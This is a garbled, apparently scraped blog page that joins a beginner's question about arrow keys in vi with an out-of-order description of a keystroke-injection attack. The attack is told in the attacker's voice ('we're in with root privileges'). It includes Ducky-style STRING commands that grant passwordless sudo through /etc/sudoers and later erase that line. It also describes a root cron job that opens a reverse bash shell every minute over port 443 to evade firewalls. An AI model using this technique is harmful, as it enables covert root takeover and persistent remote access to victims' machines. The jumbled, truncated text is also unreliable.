Maybe you guys can point me to some solution to this? One thing that bothers me (remember, I'm new) is that some keys like the arrows don't work, so when I want to edit a file using vi, or something like that, I can't. I just tested it on my girlfriend's Macbook Air and it works flawlessly. You can change the port to whatever you want. Since the script is in root's crontab, we will always have root privileges, and if we close the connection, we can always re-take it.Īnother advantage is that by using port 443, the victim machine will not be blocked by any firewall. We wait one minute (max) and we're in with root privileges So now, all we have to do in our attacking machine is: The whole execution takes around 5 seconds. Remove the newly added privileges to the current user in /etc/sudoers.Add a line to the root crontab to execute the reverse bash script every minute (replace «» with your host / IP).Magically grant sudo privileges (many thanks to V3sth4cks153 for this).STRING echo -e '$d\nw\nq'| ed /etc/sudoers STRING echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >
0 Comments
Leave a Reply. |